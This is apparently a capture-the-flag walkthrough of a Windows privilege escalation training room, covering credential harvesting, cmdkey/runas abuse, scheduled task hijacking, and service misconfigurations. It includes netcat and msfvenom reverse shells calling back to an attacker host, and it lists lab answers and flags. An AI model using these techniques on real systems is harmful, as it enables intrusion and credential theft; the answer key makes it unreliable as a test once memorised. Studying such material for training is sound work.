Skip to content

Windows Privilege Escalation

Description

During a penetration test, you will often have access to some Windows hosts with an unprivileged user. Unprivileged users will hold limited access, including their files and folders only, and have no means to perform administrative tasks on the host, preventing you from having complete control over your target.

his room covers fundamental techniques that attackers can use to elevate privileges in a Windows environment, allowing you to use any initial unprivileged foothold on a host to escalate to an administrator account, where possible.

If you want to brush up on your skills first, you can have a look through the Windows Fundamentals Module or the Hacking Windows Module.

Windows Privilege Escalation

Question

Users that can change system configurations are part of which group?

Answer

Administrators

Question

The SYSTEM account has more privileges than the Administrator user (aye/nay)

Answer

aye

Harvesting Passwords from Usual Spots

Question

A password for the julia.jones user has been left on the Powershell history. What is the password?

📋 Walkthrough

We have this credentials: thm-unpriv:Password321. Start the machine and connect via RDP. Now we can retrieve powershell history:

PS C:\Users> type .\thm-unpriv\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
ls
whoami
whoami /priv
whoami /group
whoami /groups
cmdkey /?
cmdkey /add:thmdc.local /user:julia.jones /pass:{ANSWER}
cmdkey /list
cmdkey /delete:thmdc.local
cmdkey /list
runas /?
type julia.jones\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cd ..
ls
type mike.katz\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Get-ChildItem -Path "C:\Users" -Recurse -Filter "ConsoleHost_history.ext" -ErrorAction SilentlyContinue
ls .\mike.katz\
whoami
ls .\thm-unpriv\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type .\thm-unpriv\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS C:\Users>

We got the password!

Answer

ZuperCkretPa5z

Question

A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db_admin user?

📋 Walkthrough
PS C:\Program Files> type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
                <add connectionStringName="LocalSqlServer" maxEventDetailsLength="1073741823" buffer="false" bufferMode="Notification" name="SqlWebEventProvider" type="System.Web.Management.SqlWebEventProvider,System.Web,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a" />
                    <add connectionStringName="LocalSqlServer" name="AspNetSqlPersonalizationProvider" type="System.Web.UI.WebControls.WebParts.SqlPersonalizationProvider, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
    <connectionStrings>
        <add connectionString="Server=thm-db.local;Database=thm-sekure;User ID=db_admin;Password={ANSWER}" name="THM-DB" />
    </connectionStrings>
PS C:\Program Files>
Answer

098n0x35skjD3

Question

There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.

📋 Walkthrough

Let's list the keys

PS C:\Program Files> cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=WPRIVESC1\mike.katz
    Type: Domain Password
    User: WPRIVESC1\mike.katz

PS C:\Program Files> runas /savecred /user:mike.katz cmd.exe
Attempting to start cmd.exe as user "WPRIVESC1\mike.katz" ...
PS C:\Program Files>

C:\Windows\system32>whoami
wprivesc1\mike.katz
And a CMD spawned! Let's check the flag on his desktop.

C:\Windows\system32>whoami
wprivesc1\mike.katz

C:\Windows\system32>cd C:\Users\mike.katz\Desktop

C:\Users\mike.katz\Desktop>type flag.txt
{ANSWER}
Answer

THM{WHAT_IS_MY_PASSWORD}

Question

Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?

📋 Walkthrough

Let's use this command to retrieve from registry the password from PuTTy:

PS C:\Program Files> reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\My%20ssh%20server
    ProxyExcludeList    REG_SZ
    ProxyDNS    REG_DWORD    0x1
    ProxyLocalhost    REG_DWORD    0x0
    ProxyMethod    REG_DWORD    0x0
    ProxyHost    REG_SZ    proxy
    ProxyPort    REG_DWORD    0x50
    ProxyUsername    REG_SZ    thom.smith
    ProxyPassword    REG_SZ    {ANSWER}
    ProxyTelnetCommand    REG_SZ    connect %host %port\n
    ProxyLogToTerm    REG_DWORD    0x1

End of search: 10 match(es) found.
Answer

CoolPass2021

Other Quick Wins

Question

What is the taskusr1 flag?

📋 Walkthrough

Let's see if there's any scheduled task vulnerable (Module says there's a task named vulntask)

PS C:\Program Files> schtasks /query /tn vulntask /fo list /v

Folder: \
HostName:                             WPRIVESC1
TaskName:                             \vulntask
Next Run Time:                        N/A
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        7/7/2025 2:05:58 PM
Last Result:                          0
Author:                               WPRIVESC1\Administrator
Task To Run:                          C:\tasks\schtask.bat
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          taskusr1
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        At system start up
Start Time:                           N/A
Start Date:                           N/A
End Date:                             N/A
Days:                                 N/A
Months:                               N/A
Repeat: Every:                        N/A
Repeat: Until: Time:                  N/A
Repeat: Until: Duration:              N/A
Repeat: Stop If Still Running:        N/A
PS C:\Program Files>
Let's follow the module and create a reverse shell:

echo c:\tools\nc64.exe -e cmd.exe 10.10.105.39 4444 > C:\tasks\schtask.bat

And now just wait or try to rerun the task:

C:\Program Files> schtasks /run /tn vulntask
SUCCESS: Attempted to run the scheduled task "vulntask".
C:\Program Files>

We got the shell!

Listening on 0.0.0.0 4444
Connection received on 10.10.236.241 49907
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
wprivesc1\taskusr1

C:\Windows\system32>ls
ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>cd C:\Users\taskusr1
cd C:\Users\taskusr1

C:\Users\taskusr1>cd Desktop
cd Desktop

C:\Users\taskusr1\Desktop>type flag.txt
type flag.txt
{ANSWER}
C:\Users\taskusr1\Desktop>
Answer

THM{TASK_COMPLETED}

Abusing Service Misconfigurations

Question

Get the flag on svcusr1's desktop.

📋 Walkthrough

Let's use what we learned from Insecure Permissions on Service Executable. We start querying the WindowsScheduler service

C:\Users\thm-unpriv>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WindowsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr1

C:\Users\thm-unpriv>
We can see that the executable is WService.exe. Let's see if we have some interesting permissions

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\thm-unpriv>
As we can see, Everyone can edit (M) the file. So we can overwrite it with a msfvenom reverse shell.

root@ip-10-10-65-26:~/Desktop# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.65.26 LPORT=4444 -f exe-service -o rev-svc.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe-service file: 48640 bytes
Saved as: rev-svc.exe
root@ip-10-10-65-26:~/Desktop# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
And we can now download it from target's machine:

C:\Users\thm-unpriv\Desktop>curl http://10.10.65.26:8080/rev-svc.exe -o rev-svc.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 48640  100 48640    0     0  48640      0  0:00:01 --:--:--  0:00:01 1532k
Now we have to rename the original one and put it named as WService.exe file. After this, we can restart the service and gain the shell

C:\Users\thm-unpriv\Desktop>sc stop windowsscheduler

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x3e8

C:\Users\thm-unpriv\Desktop>sc start windowsscheduler
And we got the shell!

C:\Windows\system32>whoami
whoami
wprivesc1\svcusr1

....

C:\Users>cd svcusr1
cd svcusr1

C:\Users\svcusr1>cd Desktop
cd Desktop

C:\Users\svcusr1\Desktop>type flag.txt
type flag.txt
{ANSWER}
Answer

THM{AT_YOUR_SERVICE}

Question

Get the flag on svcusr2's desktop.

📋 Walkthrough

Let's search some Unquoted Service Paths.

C:\Users\thm-unpriv\Desktop>sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2

C:\Users\thm-unpriv\Desktop>

As we can see, the BINARY_PATH_NAME has some unquoted spaces. We can take advantage of this making an exe named Disk.exe and put it in MyPrograms. Just reuse the msfvenom payload used before and start a listener:

C:\Users\thm-unpriv\Desktop>sc stop "disk sorter enterprise"

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Users\thm-unpriv\Desktop>sc start "disk sorter enterprise"

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 3336
        FLAGS              :

C:\Users\thm-unpriv\Desktop>

We got the shell!

root@ip-10-10-65-26:~/Desktop# nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.95.11 49919
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
wprivesc1\svcusr2

C:\Windows\system32>type C:\Users\svcusr2\Desktop\flag.txt
type C:\Users\svcusr2\Desktop\flag.txt
{ANSWER}
Answer

THM{QUOTES_EVERYWHERE}

Question

Get the flag on the Administrator's desktop.

📋 Walkthrough

And now, let's check some Insecure Service Permissions. Let's check thmservice permissions using Accesschk

C:\tools\AccessChk>accesschk64.exe -qlc thmservice

Accesschk v6.14 - Reports effective permissions for securable objects
Copyright  2006-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

thmservice
  DESCRIPTOR FLAGS:
      [SE_DACL_PRESENT]
      [SE_SACL_PRESENT]
      [SE_SELF_RELATIVE]
  OWNER: NT AUTHORITY\SYSTEM
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [1] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  [2] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\INTERACTIVE
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [3] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SERVICE
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS
We have SERVICE_ALL_ACCESS on BUILTIN\Users. I copied the reverse shell used before on thm-unpriv's desktop and now we can reconfigure the servire changing the binary path

C:\tools\AccessChk>sc config THMService binPath="C:\Users\thm-unpriv\Desktop\shell.exe" obj= LocalSystem
[SC] ChangeServiceConfig SUCCESS

C:\tools\AccessChk>sc stop THMService
[SC] ControlService FAILED 1062:

The service has not been started.


C:\tools\AccessChk>sc start THMService

SERVICE_NAME: THMService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 4380
        FLAGS              :

C:\tools\AccessChk>

And we got a shell!

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\flag.txt
type C:\Users\Administrator\Desktop\flag.txt
{ANSWER}
Answer

THM{INSECURE_SVC_CONFIG}